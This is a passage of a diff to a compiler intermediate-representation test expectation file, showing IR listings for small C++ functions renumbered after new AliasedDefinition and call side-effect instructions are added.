mu0_2(unknown) = UnmodeledDefinition : +# 334| r0_3(glval) = VariableAddress[i] : +# 334| r0_4(int) = Constant[0] : +# 334| mu0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 334| Block 1 # 334| r1_0(glval) = VariableAddress[i] : -# 334| r1_1(int) = Load : r1_0, mu0_1 +# 334| r1_1(int) = Load : r1_0, mu0_2 # 334| r1_2(int) = Constant[10] : # 334| r1_3(bool) = CompareLT : r1_1, r1_2 # 334| v1_4(void) = ConditionalBranch : r1_3 @@ -1445,7 +1480,7 @@ ir.cpp: # 335| Block 2 # 335| r2_0(glval) = VariableAddress[i] : -# 335| r2_1(int) = Load : r2_0, mu0_1 +# 335| r2_1(int) = Load : r2_0, mu0_2 # 335| r2_2(int) = Constant[5] : # 335| r2_3(bool) = CompareEQ : r2_1, r2_2 # 335| v2_4(void) = ConditionalBranch : r2_3 @@ -1468,47 +1503,50 @@ ir.cpp: # 341| Dereference(int *) -> int # 341| Block 0 -# 341| v0_0(void) = EnterFunction : -# 341| mu0_1(unknown) = UnmodeledDefinition : -# 341| r0_2(glval) = VariableAddress[p] : -# 341| mu0_3(int *) = InitializeParameter[p] : r0_2 -# 342| r0_4(int) = Constant[1] : -# 342| r0_5(glval) = VariableAddress[p] : -# 342| r0_6(int *) = Load : r0_5, mu0_1 -# 342| mu0_7(int) = Store : r0_6, r0_4 -# 343| r0_8(glval) = VariableAddress[#return] : -# 343| r0_9(glval) = VariableAddress[p] : -# 343| r0_10(int *) = Load : r0_9, mu0_1 -# 343| r0_11(int) = Load : r0_10, mu0_1 -# 343| mu0_12(int) = Store : r0_8, r0_11 -# 341| r0_13(glval) = VariableAddress[#return] : -# 341| v0_14(void) = ReturnValue : r0_13, mu0_1 -# 341| v0_15(void) = UnmodeledUse : mu* -# 341| v0_16(void) = ExitFunction : +# 341| v0_0(void) = EnterFunction : +# 341| mu0_1(unknown) = AliasedDefinition : +# 341| mu0_2(unknown) = UnmodeledDefinition : +# 341| r0_3(glval) = VariableAddress[p] : +# 341| mu0_4(int *) = InitializeParameter[p] : r0_3 +# 342| r0_5(int) = Constant[1] : +# 342| r0_6(glval) = VariableAddress[p] : +# 342| r0_7(int *) = Load : r0_6, mu0_2 +# 342| mu0_8(int) = Store : r0_7, r0_5 +# 343| r0_9(glval) = VariableAddress[#return] : +# 343| r0_10(glval) = VariableAddress[p] : +# 343| r0_11(int *) = Load : r0_10, mu0_2 +# 343| r0_12(int) = Load : r0_11, mu0_2 +# 343| mu0_13(int) = Store : r0_9, r0_12 +# 341| r0_14(glval) = VariableAddress[#return] : +# 341| v0_15(void) = ReturnValue : r0_14, mu0_2 +# 341| v0_16(void) = UnmodeledUse : mu* +# 341| v0_17(void) = ExitFunction : # 348| AddressOf() -> int * # 348| Block 0 # 348| v0_0(void) = EnterFunction : -# 348| mu0_1(unknown) = UnmodeledDefinition : -# 349| r0_2(glval) = VariableAddress[#return] : -# 349| r0_3(glval) = VariableAddress[g] : -# 349| mu0_4(int *) = Store : r0_2, r0_3 -# 348| r0_5(glval) = VariableAddress[#return] : -# 348| v0_6(void) = ReturnValue : r0_5, mu0_1 -# 348| v0_7(void) = UnmodeledUse : mu* -# 348| v0_8(void) = ExitFunction : +# 348| mu0_1(unknown) = AliasedDefinition : +# 348| mu0_2(unknown) = UnmodeledDefinition : +# 349| r0_3(glval) = VariableAddress[#return] : +# 349| r0_4(glval) = VariableAddress[g] : +# 349| mu0_5(int *) = Store : r0_3, r0_4 +# 348| r0_6(glval) = VariableAddress[#return] : +# 348| v0_7(void) = ReturnValue : r0_6, mu0_2 +# 348| v0_8(void) = UnmodeledUse : mu* +# 348| v0_9(void) = ExitFunction : # 352| Break(int) -> void # 352| Block 0 # 352| v0_0(void) = EnterFunction : -# 352| mu0_1(unknown) = UnmodeledDefinition : -# 352| r0_2(glval) = VariableAddress[n] : -# 352| mu0_3(int) = InitializeParameter[n] : r0_2 +# 352| mu0_1(unknown) = AliasedDefinition : +# 352| mu0_2(unknown) = UnmodeledDefinition : +# 352| r0_3(glval) = VariableAddress[n] : +# 352| mu0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 5 # 354| Block 1 # 354| r1_0(glval) = VariableAddress[n] : -# 354| r1_1(int) = Load : r1_0, mu0_1 +# 354| r1_1(int) = Load : r1_0, mu0_2 # 354| r1_2(int) = Constant[1] : # 354| r1_3(bool) = CompareEQ : r1_1, r1_2 # 354| v1_4(void) = ConditionalBranch : r1_3 @@ -1522,7 +1560,7 @@ ir.cpp: # 356| Block 3 # 356| r3_0(int) = Constant[1] : # 356| r3_1(glval) = VariableAddress[n] : -# 356| r3_2(int) = Load : r3_1, mu0_1 +# 356| r3_2(int) = Load : r3_1, mu0_2 # 356| r3_3(int) = Sub : r3_2, r3_0 # 356| mu3_4(int) = Store : r3_1, r3_3 #-----| Goto -> Block 5 @@ -1536,7 +1574,7 @@ ir.cpp: # 353| Block 5 # 353| r5_0(glval) = VariableAddress[n] : -# 353| r5_1(int) = Load : r5_0, mu0_1 +# 353| r5_1(int) = Load : r5_0, mu0_2 # 353| r5_2(int) = Constant[0] : # 353| r5_3(bool) = CompareGT : r5_1, r5_2 # 353| v5_4(void) = ConditionalBranch : r5_3 @@ -1546,14 +1584,15 @@ ir.cpp: # 360| Continue(int) -> void # 360| Block 0 # 360| v0_0(void) = EnterFunction : -# 360| mu0_1(unknown) = UnmodeledDefinition : -# 360| r0_2(glval) = VariableAddress[n] : -# 360| mu0_3(int) = InitializeParameter[n] : r0_2 +# 360| mu0_1(unknown) = AliasedDefinition : +# 360| mu0_2(unknown) = UnmodeledDefinition : +# 360| r0_3(glval) = VariableAddress[n] : +# 360| mu0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 1 # 362| Block 1 # 362| r1_0(glval) = VariableAddress[n] : -# 362| r1_1(int) = Load : r1_0, mu0_1 +# 362| r1_1(int) = Load : r1_0, mu0_2 # 362| r1_2(int) = Constant[1] : # 362| r1_3(bool) = CompareEQ : r1_1, r1_2 # 362| v1_4(void) = ConditionalBranch : r1_3 @@ -1567,7 +1606,7 @@ ir.cpp: # 365| Block 3 # 365| r3_0(int) = Constant[1] : # 365| r3_1(glval) = VariableAddress[n] : -# 365| r3_2(int) = Load : r3_1, mu0_1 +# 365| r3_2(int) = Load : r3_1, mu0_2 # 365| r3_3(int) = Sub : r3_2, r3_0 # 365| mu3_4(int) = Store : r3_1, r3_3 #-----| Goto -> Block 4 @@ -1575,7 +1614,7 @@ ir.cpp: # 361| Block 4 # 361| v4_0(void) = NoOp : # 366| r4_1(glval) = VariableAddress[n] : -# 366| r4_2(int) = Load : r4_1, mu0_1 +# 366| r4_2(int) = Load : r4_1, mu0_2 # 366| r4_3(int) = Constant[0] : # 366| r4_4(bool) = CompareGT : r4_2, r4_3 # 366| v4_5(void) = ConditionalBranch : r4_4 @@ -1591,69 +1630,77 @@ ir.cpp: # 372| Call() -> void # 372| Block 0 # 372| v0_0(void) = EnterFunction : -# 372| mu0_1(unknown) = UnmodeledDefinition : -# 373| r0_2(glval) = FunctionAddress[VoidFunc] : -# 373| v0_3(void) = Call : r0_2 -# 374| v0_4(void) = NoOp : -# 372| v0_5(void) = ReturnVoid : -# 372| v0_6(void) = UnmodeledUse : mu* -# 372| v0_7(void) = ExitFunction : +# 372| mu0_1(unknown) = AliasedDefinition : +# 372| mu0_2(unknown) = UnmodeledDefinition : +# 373| r0_3(glval) = FunctionAddress[VoidFunc] : +# 373| v0_4(void) = Call : r0_3 +# 373| mu0_5(unknown) = ^CallSideEffect : mu0_2 +# 374| v0_6(void) = NoOp : +# 372| v0_7(void) = ReturnVoid : +# 372| v0_8(void) = UnmodeledUse : mu* +# 372| v0_9(void) = ExitFunction : # 376| CallAdd(int, int) -> int # 376| Block 0 # 376| v0_0(void) = EnterFunction : -# 376| mu0_1(unknown) = UnmodeledDefinition : -# 376| r0_2(glval) = VariableAddress[x] : -# 376| mu0_3(int) = InitializeParameter[x] : r0_2 -# 376| r0_4(glval) = VariableAddress[y] : -# 376| mu0_5(int) = InitializeParameter[y] : r0_4 -# 377| r0_6(glval) = VariableAddress[#return] : -# 377| r0_7(glval) = FunctionAddress[Add] : -# 377| r0_8(glval) = VariableAddress[x] : -# 377| r0_9(int) = Load : r0_8, mu0_1 -# 377| r0_10(glval) = VariableAddress[y] : -# 377| r0_11(int) = Load : r0_10, mu0_1 -# 377| r0_12(int) = Call : r0_7, r0_9, r0_11 -# 377| mu0_13(int) = Store : r0_6, r0_12 -# 376| r0_14(glval) = VariableAddress[#return] : -# 376| v0_15(void) = ReturnValue : r0_14, mu0_1 -# 376| v0_16(void) = UnmodeledUse : mu* -# 376| v0_17(void) = ExitFunction : +# 376| mu0_1(unknown) = AliasedDefinition : +# 376| mu0_2(unknown) = UnmodeledDefinition : +# 376| r0_3(glval) = VariableAddress[x] : +# 376| mu0_4(int) = InitializeParameter[x] : r0_3 +# 376| r0_5(glval) = VariableAddress[y] : +# 376| mu0_6(int) = InitializeParameter[y] : r0_5 +# 377| r0_7(glval) = VariableAddress[#return] : +# 377| r0_8(glval) = FunctionAddress[Add] : +# 377| r0_9(glval) = VariableAddress[x] : +# 377| r0_10(int) = Load : r0_9, mu0_2 +# 377| r0_11(glval) = VariableAddress[y] : +# 377| r0_12(int) = Load : r0_11, mu0_2 +# 377| r0_13(int) = Call : r0_8, r0_10, r0_12 +# 377| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 377| mu0_15(int) = Store : r0_7, r0_13 +# 376| r0_16(glval) = VariableAddress[#return] : +# 376| v0_17(void) = ReturnValue : r0_16, mu0_2 +# 376| v0_18(void) = UnmodeledUse : mu* +# 376| v0_19(void) = ExitFunction : # 380| Comma(int, int) -> int # 380| Block 0 -# 380| v0_0(void) = EnterFunction : -# 380| mu0_1(unknown) = UnmodeledDefinition : -# 380| r0_2(glval) = VariableAddress[x] : -# 380| mu0_3(int) = InitializeParameter[x] : r0_2 -# 380| r0_4(glval) = VariableAddress[y] : -# 380| mu0_5(int) = InitializeParameter[y] : r0_4 -# 381| r0_6(glval) = VariableAddress[#return] : -# 381| r0_7(glval) = FunctionAddress[VoidFunc] : -# 381| v0_8(void) = Call : r0_7 -# 381| r0_9(glval) = FunctionAddress[CallAdd] : -# 381| r0_10(glval) = VariableAddress[x] : -# 381| r0_11(int) = Load : r0_10, mu0_1 -# 381| r0_12(glval) = VariableAddress[y] : -# 381| r0_13(int) = Load : r0_12, mu0_1 -# 381| r0_14(int) = Call : r0_9, r0_11, r0_13 -# 381| mu0_15(int) = Store : r0_6, r0_14 -# 380| r0_16(glval) = VariableAddress[#return] : -# 380| v0_17(void) = ReturnValue : r0_16, mu0_1 -# 380| v0_18(void) = UnmodeledUse : mu* -# 380| v0_19(void) = ExitFunction : +# 380| v0_0(void) = EnterFunction : +# 380| mu0_1(unknown) = AliasedDefinition : +# 380| mu0_2(unknown) = UnmodeledDefinition : +# 380| r0_3(glval) = VariableAddress[x] : +# 380| mu0_4(int) = InitializeParameter[x] : r0_3 +# 380| r0_5(glval) = VariableAddress[y] : +# 380| mu0_6(int) = InitializeParameter[y] : r0_5 +# 381| r0_7(glval) = VariableAddress[#return] : +# 381| r0_8(glval) = FunctionAddress[VoidFunc] : +# 381| v0_9(void) = Call : r0_8 +# 381| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 381| r0_11(glval) = FunctionAddress[CallAdd] : +# 381| r0_12(glval) = VariableAddress[x] : +# 381| r0_13(int) = Load : r0_12, mu0_2 +# 381| r0_14(glval) = VariableAddress[y] : +# 381| r0_15(int) = Load : r0_14, mu0_2 +# 381| r0_16(int) = Call : r0_11, r0_13, r0_15 +# 381| mu0_17(unknown) = ^CallSideEffect : mu0_2 +# 381| mu0_18(int) = Store : r0_7, r0_16 +# 380| r0_19(glval) = VariableAddress[#return] : +# 380| v0_20(void) = ReturnValue : r0_19, mu0_2 +# 380| v0_21(void) = UnmodeledUse : mu* +# 380| v0_22(void) = ExitFunction : # 384| Switch(int) -> void # 384| Block 0 # 384| v0_0(void) = EnterFunction : -# 384| mu0_1(unknown) = UnmodeledDefinition : -# 384| r0_2(glval) = VariableAddress[x] : -# 384| mu0_3(int) = InitializeParameter[x] : r0_2 -# 385| r0_4(glval) = VariableAddress[y] : -# 385| mu0_5(int) = Uninitialized : r0_4 -# 386| r0_6(glval) = VariableAddress[x] : -# 386| r0_7(int) = Load : r0_6, mu0_1 -# 386| v0_8(void) = Switch : r0_7 +# 384| mu0_1(unknown) = AliasedDefinition : +# 384| mu0_2(unknown) = UnmodeledDefinition : +# 384| r0_3(glval) = VariableAddress[x] : +# 384| mu0_4(int) = InitializeParameter[x] : r0_3 +# 385| r0_5(glval) = VariableAddress[y] : +# 385| mu0_6(int) = Uninitialized[y] : r0_5 +# 386| r0_7(glval) = VariableAddress[x] : +# 386| r0_8(int) = Load : r0_7, mu0_2 +# 386| v0_9(void) = Switch : r0_8 #-----| Case[-1] -> Block 2 #-----| Case[1] -> Block 3 #-----| Case[2] -> Block 4 @@ -1726,62 +1773,65 @@ ir.cpp: # 422| ReturnStruct(Point) -> Point # 422| Block 0 # 422| v0_0(void) = EnterFunction : -# 422| mu0_1(unknown) = UnmodeledDefinition : -# 422| r0_2(glval) = VariableAddress[pt] : -# 422| mu0_3(Point) = InitializeParameter[pt] : r0_2 -# 423| r0_4(glval) = VariableAddress[#return] : -# 423| r0_5(glval) = VariableAddress[pt] : -# 423| r0_6(Point) = Load : r0_5, mu0_1 -# 423| mu0_7(Point) = Store : r0_4, r0_6 -# 422| r0_8(glval) = VariableAddress[#return] : -# 422| v0_9(void) = ReturnValue : r0_8, mu0_1 -# 422| v0_10(void) = UnmodeledUse : mu* -# 422| v0_11(void) = ExitFunction : +# 422| mu0_1(unknown) = AliasedDefinition : +# 422| mu0_2(unknown) = UnmodeledDefinition : +# 422| r0_3(glval) = VariableAddress[pt] : +# 422| mu0_4(Point) = InitializeParameter[pt] : r0_3 +# 423| r0_5(glval) = VariableAddress[#return] : +# 423| r0_6(glval) = VariableAddress[pt] : +# 423| r0_7(Point) = Load : r0_6, mu0_2 +# 423| mu0_8(Point) = Store : r0_5, r0_7 +# 422| r0_9(glval) = VariableAddress[#return] : +# 422| v0_10(void) = ReturnValue : r0_9, mu0_2 +# 422| v0_11(void) = UnmodeledUse : mu* +# 422| v0_12(void) = ExitFunction : # 426| FieldAccess() -> void # 426| Block 0 # 426| v0_0(void) = EnterFunction : -# 426| mu0_1(unknown) = UnmodeledDefinition : -# 427| r0_2(glval) = VariableAddress[pt] : -# 427| mu0_3(Point) = Uninitialized : r0_2 -# 428| r0_4(int) = Constant[5] : -# 428| r0_5(glval) = VariableAddress[pt] : -# 428| r0_6(glval) = FieldAddress[x] : r0_5 -# 428| mu0_7(int) = Store : r0_6, r0_4 -# 429| r0_8(glval) = VariableAddress[pt] : -# 429| r0_9(glval) = FieldAddress[x] : r0_8 -# 429| r0_10(int) = Load : r0_9, mu0_1 -# 429| r0_11(glval) = VariableAddress[pt] : -# 429| r0_12(glval) = FieldAddress[y] : r0_11 -# 429| mu0_13(int) = Store : r0_12, r0_10 -# 430| r0_14(glval) = VariableAddress[p] : -# 430| r0_15(glval) = VariableAddress[pt] : -# 430| r0_16(glval) = FieldAddress[y] : r0_15 -# 430| mu0_17(int *) = Store : r0_14, r0_16 -# 431| v0_18(void) = NoOp : -# 426| v0_19(void) = ReturnVoid : -# 426| v0_20(void) = UnmodeledUse : mu* -# 426| v0_21(void) = ExitFunction : +# 426| mu0_1(unknown) = AliasedDefinition : +# 426| mu0_2(unknown) = UnmodeledDefinition : +# 427| r0_3(glval) = VariableAddress[pt] : +# 427| mu0_4(Point) = Uninitialized[pt] : r0_3 +# 428| r0_5(int) = Constant[5] : +# 428| r0_6(glval) = VariableAddress[pt] : +# 428| r0_7(glval) = FieldAddress[x] : r0_6 +# 428| mu0_8(int) = Store : r0_7, r0_5 +# 429| r0_9(glval) = VariableAddress[pt] : +# 429| r0_10(glval) = FieldAddress[x] : r0_9 +# 429| r0_11(int) = Load : r0_10, mu0_2 +# 429| r0_12(glval) = VariableAddress[pt] : +# 429| r0_13(glval) = FieldAddress[y] : r0_12 +# 429| mu0_14(int) = Store : r0_13, r0_11 +# 430| r0_15(glval) = VariableAddress[p] : +# 430| r0_16(glval) = VariableAddress[pt] : +# 430| r0_17(glval) = FieldAddress[y] : r0_16 +# 430| mu0_18(int *) = Store : r0_15, r0_17 +# 431| v0_19(void) = NoOp : +# 426| v0_20(void) = ReturnVoid : +# 426| v0_21(void) = UnmodeledUse : mu* +# 426| v0_22(void) = ExitFunction : # 433| LogicalOr(bool, bool) -> void # 433| Block 0 # 433| v0_0(void) = EnterFunction : -# 433| mu0_1(unknown) = UnmodeledDefinition : -# 433| r0_2(glval) = VariableAddress[a] : -# 433| mu0_3(bool) = InitializeParameter[a] : r0_2 -# 433| r0_4(glval) = VariableAddress[b] : -# 433| mu0_5(bool) = InitializeParameter[b] : r0_4 -# 434| r0_6(glval) = VariableAddress[x] : -# 434| mu0_7(int) = Uninitialized : r0_6 -# 435| r0_8(glval) = VariableAddress[a] : -# 435| r0_9(bool) = Load : r0_8, mu0_1 -# 435| v0_10(void) = ConditionalBranch : r0_9 +# 433| mu0_1(unknown) = AliasedDefinition : +# 433| mu0_2(unknown) = UnmodeledDefinition : +# 433| r0_3(glval) = VariableAddress[a] : +# 433| mu0_4(bool) = InitializeParameter[a] : r0_3 +# 433| r0_5(glval) = VariableAddress[b] : +# 433| mu0_6(bool) = InitializeParameter[b] : r0_5 +# 434| r0_7(glval) = VariableAddress[x] : +# 434| mu0_8(int) = Uninitialized[x] : r0_7 +# 435| r0_9(glval) = VariableAddress[a] : +# 435| r0_10(bool) = Load : r0_9, mu0_2 +# 435| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 2 # 435| Block 1 # 435| r1_0(glval) = VariableAddress[b] : -# 435| r1_1(bool) = Load : r1_0, mu0_1 +# 435| r1_1(bool) = Load : r1_0, mu0_2 # 435| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 @@ -1794,14 +1844,14 @@ ir.cpp: # 439| Block 3 # 439| r3_0(glval) = VariableAddress[a] : -# 439| r3_1(bool) = Load : r3_0, mu0_1 +# 439| r3_1(bool) = Load : r3_0, mu0_2 # 439| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 4 #-----| True -> Block 5 # 439| Block 4 # 439| r4_0(glval) = VariableAddress[b] : -# 439| r4_1(bool) = Load : r4_0, mu0_1 +# 439| r4_1(bool) = Load : r4_0, mu0_2 # 439| v4_2(void) = ConditionalBranch : r4_1 #-----| False -> Block 6 #-----| True -> Block 5 @@ -1827,22 +1877,23 @@ ir.cpp: # 447| LogicalAnd(bool, bool) -> void # 447| Block 0 # 447| v0_0(void) = EnterFunction : -# 447| mu0_1(unknown) = UnmodeledDefinition : -# 447| r0_2(glval) = VariableAddress[a] : -# 447| mu0_3(bool) = InitializeParameter[a] : r0_2 -# 447| r0_4(glval) = VariableAddress[b] : -# 447| mu0_5(bool) = InitializeParameter[b] : r0_4 -# 448| r0_6(glval) = VariableAddress[x] : -# 448| mu0_7(int) = Uninitialized : r0_6 -# 449| r0_8(glval) = VariableAddress[a] : -# 449| r0_9(bool) = Load : r0_8, mu0_1 -# 449| v0_10(void) = ConditionalBranch : r0_9 +# 447| mu0_1(unknown) = AliasedDefinition : +# 447| mu0_2(unknown) = UnmodeledDefinition : +# 447| r0_3(glval) = VariableAddress[a] : +# 447| mu0_4(bool) = InitializeParameter[a] : r0_3 +# 447| r0_5(glval) = VariableAddress[b] : +# 447| mu0_6(bool) = InitializeParameter[b] : r0_5 +# 448| r0_7(glval) = VariableAddress[x] : +# 448| mu0_8(int) = Uninitialized[x] : r0_7 +# 449| r0_9(glval) = VariableAddress[a] : +# 449| r0_10(bool) = Load : r0_9, mu0_2 +# 449| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 3 #-----| True -> Block 1 # 449| Block 1 # 449| r1_0(glval) = VariableAddress[b] : -# 449| r1_1(bool) = Load : r1_0, mu0_1 +# 449| r1_1(bool) = Load : r1_0, mu0_2 # 449| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 @@ -1855,14 +1906,14 @@ ir.cpp: # 453| Block 3 # 453| r3_0(glval) = VariableAddress[a] : -# 453| r3_1(bool) = Load : r3_0, mu0_1 +# 453| r3_1(bool) = Load : r3_0, mu0_2 # 453| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 6 #-----| True -> Block 4 # 453| Block 4 # 453| r4_0(glval) = VariableAddress[b] : -# 453| r4_1(bool) = Load : r4_0, mu0_1 +# 453| r4_1(bool) = Load : r4_0, mu0_2 # 453| v4_2(void) = ConditionalBranch : r4_1 #-----| False -> Block 6 #-----| True -> Block 5 @@ -1888,16 +1939,17 @@ ir.cpp: # 461| LogicalNot(bool, bool) -> void # 461| Block 0 # 461| v0_0(void) = EnterFunction : -# 461| mu0_1(unknown) = UnmodeledDefinition : -# 461| r0_2(glval) = VariableAddress[a] : -# 461| mu0_3(bool) = InitializeParameter[a] : r0_2 -# 461| r0_4(glval) = VariableAddress[b] : -# 461| mu0_5(bool) = InitializeParameter[b] : r0_4 -# 462| r0_6(glval) = VariableAddress[x] : -# 462| mu0_7(int) = Uninitialized : r0_6 -# 463| r0_8(glval) = VariableAddress[a] : -# 463| r0_9(bool) = Load : r0_8, mu0_1 -# 463| v0_10(void) = ConditionalBranch : r0_9 +# 461| mu0_1(unknown) = AliasedDefinition : +# 461| mu0_2(unknown) = UnmodeledDefinition : +# 461| r0_3(glval) = VariableAddress[a] : +# 461| mu0_4(bool) = InitializeParameter[a] : r0_3 +# 461| r0_5(glval) = VariableAddress[b] : +# 461| mu0_6(bool) = InitializeParameter[b] : r0_5 +# 462| r0_7(glval) = VariableAddress[x] : +# 462| mu0_8(int) = Uninitialized[x] : r0_7 +# 463| r0_9(glval) = VariableAddress[a] : +# 463| r0_10(bool) = Load : r0_9, mu0_2 +# 463| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 2 @@ -1909,14 +1961,14 @@ ir.cpp: # 467| Block 2 # 467| r2_0(glval) = VariableAddress[a] : -# 467| r2_1(bool) = Load : r2_0, mu0_1 +# 467| r2_1(bool) = Load : r2_0, mu0_2 # 467| v2_2(void) = ConditionalBranch : r2_1 #-----| False -> Block 4 #-----| True -> Block 3 # 467| Block 3 # 467| r3_0(glval) = VariableAddress[b] : -# 467| r3_1(bool) = Load : r3_0, mu0_1 +# 467| r3_1(bool) = Load : r3_0, mu0_2 # 467| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 4 #-----| True -> Block 5 @@ -1942,22 +1994,23 @@ ir.cpp: # 475| ConditionValues(bool, bool) -> void # 475| Block 0 # 475| v0_0(void) = EnterFunction : -# 475| mu0_1(unknown) = UnmodeledDefinition : -# 475| r0_2(glval) = VariableAddress[a] : -# 475| mu0_3(bool) = InitializeParameter[a] : r0_2 -# 475| r0_4(glval) = VariableAddress[b] : -# 475| mu0_5(bool) = InitializeParameter[b] : r0_4 -# 476| r0_6(glval) = VariableAddress[x] : -# 476| mu0_7(bool) = Uninitialized : r0_6 -# 477| r0_8(glval) = VariableAddress[a] : -# 477| r0_9(bool) = Load : r0_8, mu0_1 -# 477| v0_10(void) = ConditionalBranch : r0_9 +# 475| mu0_1(unknown) = AliasedDefinition : +# 475| mu0_2(unknown) = UnmodeledDefinition : +# 475| r0_3(glval) = VariableAddress[a] : +# 475| mu0_4(bool) = InitializeParameter[a] : r0_3 +# 475| r0_5(glval) = VariableAddress[b] : +# 475| mu0_6(bool) = InitializeParameter[b] : r0_5 +# 476| r0_7(glval) = VariableAddress[x] : +# 476| mu0_8(bool) = Uninitialized[x] : r0_7 +# 477| r0_9(glval) = VariableAddress[a] : +# 477| r0_10(bool) = Load : r0_9, mu0_2 +# 477| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 10 #-----| True -> Block 1 # 477| Block 1 # 477| r1_0(glval) = VariableAddress[b] : -# 477| r1_1(bool) = Load : r1_0, mu0_1 +# 477| r1_1(bool) = Load : r1_0, mu0_2 # 477| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 10 #-----| True -> Block 12 @@ -1970,11 +2023,11 @@ ir.cpp: # 478| Block 3 # 478| r3_0(glval) = VariableAddress[#temp478:9] : -# 478| r3_1(bool) = Load : r3_0, mu0_1 +# 478| r3_1(bool) = Load : r3_0, mu0_2 # 478| r3_2(glval) = VariableAddress[x] : # 478| mu3_3(bool) = Store : r3_2, r3_1 # 479| r3_4(glval) = VariableAddress[a] : -# 479| r3_5(bool) = Load : r3_4, mu0_1 +# 479| r3_5(bool) = Load : r3_4, mu0_2 # 479| v3_6(void) = ConditionalBranch : r3_5 #-----| False -> Block 9 #-----| True -> Block 8 @@ -1987,7 +2040,7 @@ ir.cpp: # 478| Block 5 # 478| r5_0(glval) = VariableAddress[b] : -# 478| r5_1(bool) = Load : r5_0, mu0_1 +# 478| r5_1(bool) = Load : r5_0, mu0_2 # 478| v5_2(void) = ConditionalBranch : r5_1 #-----| False -> Block 2 #-----| True -> Block 4 @@ -2000,7 +2053,7 @@ ir.cpp: # 479| Block 7 # 479| r7_0(glval) = VariableAddress[#temp479:11] : -# 479| r7_1(bool) = Load : r7_0, mu0_1 +# 479| r7_1(bool) = Load : r7_0, mu0_2 # 479| r7_2(bool) = LogicalNot : r7_1 # 479| r7_3(glval) = VariableAddress[x] : # 479| mu7_4(bool) = Store : r7_3, r7_2 @@ -2017,7 +2070,7 @@ ir.cpp: # 479| Block 9 # 479| r9_0(glval) = VariableAddress[b] : -# 479| r9_1(bool) = Load : r9_0, mu0_1 +# 479| r9_1(bool) = Load : r9_0, mu0_2 # 479| v9_2(void) = ConditionalBranch : r9_1 #-----| False -> Block 6 #-----| True -> Block 8 @@ -2030,11 +2083,11 @@ ir.cpp: # 477| Block 11 # 477| r11_0(glval) = VariableAddress[#temp477:9] : -# 477| r11_1(bool) = Load : r11_0, mu0_1 +# 477| r11_1(bool) = Load : r11_0, mu0_2 # 477| r11_2(glval) = VariableAddress[x] : # 477| mu11_3(bool) = Store : r11_2, r11_1 # 478| r11_4(glval) = VariableAddress[a] : -# 478| r11_5(bool) = Load : r11_4, mu0_1 +# 478| r11_5(bool) = Load : r11_4, mu0_2 # 478| v11_6(void) = ConditionalBranch : r11_5 #-----| False -> Block 5 #-----| True -> Block 4 @@ -2047,39 +2100,40 @@ ir.cpp: # 482| Conditional(bool, int, int) -> void # 482| Block 0 -# 482| v0_0(void) = EnterFunction : -# 482| mu0_1(unknown) = UnmodeledDefinition : -# 482| r0_2(glval) = VariableAddress[a] : -# 482| mu0_3(bool) = InitializeParameter[a] : r0_2 -# 482| r0_4(glval) = VariableAddress[x] : -# 482| mu0_5(int) = InitializeParameter[x] : r0_4 -# 482| r0_6(glval) = VariableAddress[y] : -# 482| mu0_7(int) = InitializeParameter[y] : r0_6 -# 483| r0_8(glval) = VariableAddress[z] : -# 483| r0_9(glval) = VariableAddress[a] : -# 483| r0_10(bool) = Load : r0_9, mu0_1 -# 483| v0_11(void) = ConditionalBranch : r0_10 +# 482| v0_0(void) = EnterFunction : +# 482| mu0_1(unknown) = AliasedDefinition : +# 482| mu0_2(unknown) = UnmodeledDefinition : +# 482| r0_3(glval) = VariableAddress[a] : +# 482| mu0_4(bool) = InitializeParameter[a] : r0_3 +# 482| r0_5(glval) = VariableAddress[x] : +# 482| mu0_6(int) = InitializeParameter[x] : r0_5 +# 482| r0_7(glval) = VariableAddress[y] : +# 482| mu0_8(int) = InitializeParameter[y] : r0_7 +# 483| r0_9(glval) = VariableAddress[z] : +# 483| r0_10(glval) = VariableAddress[a] : +# 483| r0_11(bool) = Load : r0_10, mu0_2 +# 483| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 2 #-----| True -> Block 1 # 483| Block 1 # 483| r1_0(glval) = VariableAddress[x] : -# 483| r1_1(int) = Load : r1_0, mu0_1 +# 483| r1_1(int) = Load : r1_0, mu0_2 # 483| r1_2(glval) = VariableAddress[#temp483:13] : # 483| mu1_3(int) = Store : r1_2, r1_1 #-----| Goto -> Block 3 # 483| Block 2 # 483| r2_0(glval) = VariableAddress[y] : -# 483| r2_1(int) = Load : r2_0, mu0_1 +# 483| r2_1(int) = Load : r2_0, mu0_2 # 483| r2_2(glval) = VariableAddress[#temp483:13] : # 483| mu2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 # 483| Block 3 # 483| r3_0(glval) = VariableAddress[#temp483:13] : -# 483| r3_1(int) = Load : r3_0, mu0_1 -# 483| mu3_2(int) = Store : r0_8, r3_1 +# 483| r3_1(int) = Load : r3_0, mu0_2 +# 483| mu3_2(int) = Store : r0_9, r3_1 # 484| v3_3(void) = NoOp : # 482| v3_4(void) = ReturnVoid : # 482| v3_5(void) = UnmodeledUse : mu* @@ -2087,25 +2141,26 @@ ir.cpp: # 486| Conditional_LValue(bool) -> void # 486| Block 0 -# 486| v0_0(void) = EnterFunction : -# 486| mu0_1(unknown) = UnmodeledDefinition : -# 486| r0_2(glval) = VariableAddress[a] : -# 486| mu0_3(bool) = InitializeParameter[a] : r0_2 -# 487| r0_4(glval) = VariableAddress[x] : -# 487| mu0_5(int) = Uninitialized : r0_4 -# 488| r0_6(glval) = VariableAddress[y] : -# 488| mu0_7(int) = Uninitialized : r0_6 -# 489| r0_8(int) = Constant[5] : -# 489| r0_9(glval) = VariableAddress[a] : -# 489| 